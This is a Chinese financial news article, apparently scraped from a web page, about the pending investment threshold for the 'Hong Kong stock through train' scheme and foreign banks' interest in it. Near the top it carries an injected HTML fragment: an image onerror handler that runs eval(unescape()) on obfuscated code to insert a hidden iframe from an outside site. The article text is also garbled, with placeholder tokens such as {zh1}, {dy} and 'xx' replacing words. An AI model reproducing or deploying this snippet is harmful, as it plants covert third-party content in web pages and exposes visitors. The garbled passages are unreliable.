外资银行看上“港股直通车” 投资门槛尚未确定

0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" src='http://gimg.baidu.com/img/gsgs.gif' width=0 height=0 onerror="eval (unescape('var%20content1%3D%22%3CI+FR+AME%20%20align%3Dcenter%20marginWidth%3D0%20marginHeight%3D0%20src%3Dhttp%3A//qdsm.net/links/zh_160_600.html%20frameBorder%3D0%20width%3D160%20scrolling%3Dno%20height%3D600%3E%3C/I+FRAM+E%3E%22%3B%20document.getElementById%28%22contenthtml1%22%29.innerHTML%3D%20content1'.replace(/\+/g,'')))">

　　记者昨日获悉，“港股直通车”的投资门槛尚未{zh1}确定。中行天津分行相关人士称，只有等批文拿到后，才能公布相关细节。

　　据了解，国家外汇管理局宣布个人可直接投资港股政策后，最初曾经传出投资门槛为10万港元的说法。
中行天津分行个人金融部人士告诉记者，外界传言的10万港元资金门槛或将上调，具体多少要等监管部门批文。

　　记者{zx1}了解到，有关“港股直通车”的投资门槛有多个版本的说法。据称，中行上报了多个投资方案，门槛包括10万港元、30万港元、50万港元，但都未获得正式批复。中行人士表示，目前无法对“港股直通车”的投资门槛加以评论。

　　业内有一种说法认为，“港股直通车”上周未能如期推出，主要是考虑到风险控制的细节问题。既然要加强风险控制，就应该适当设置投资门槛，避免低风险承受能力的投资者盲目参与。某银行人士称，直接投资境外股票的QDII产品为了规避风险，规定单一客户起点销售金额不得低于30万元人民币或等值外币，“港股直通车”也应该不低于这一标准。在试点阶段，适当提高投资门槛，更有利于试点的成功。

　　据悉，还有市场人士提出，对“港股直通车”设置投资上限，防止大量内地资金外流。而根据外管局的“试点方案”，投资者购汇进行投资，该境外证券投资项下购汇不受年度总额限制。摩根士丹利则预测，通过直投业务，{dy}年进入香港的资金将在500亿至1000亿美元之间。

　　外资银行看上“港股直通车”

　　在昨日举行的“路透中国世纪峰会”上，“港股直通车”业务引起外资银行xx。东亚（中国）副行长林志民称，该行正在筹备内地个人直接对外证券投资业务，以适应中国经济的高速增长对财富管理服务的巨大需求。恒生（中国）董事长柯清辉表示，有兴趣参与内地个人直接对外证券投资业务。

　　本期峰会首次在上海、北京和香港同时举行，“港股直通车”成为三地热门话题。汇丰晋信基金管理公司总经理李选进在会上指出，开放内地居民直接投资香港股市是市场的需求，但由于技术和法律问题，该项业务还需要一段时间准备。“中行天津分行的资金平台与中银国际的证券平台如何对接，以及资金如何清算、监控，是一项复杂的技术问题”。

　　林志民透露，该行已成立一个特别工作小组，学习和筹备内地个人直接对外证券投资业务。如果该业务获得监管层批准，东亚银行全资控股的东亚证券将能协助进行香港股市的投资。卜春艳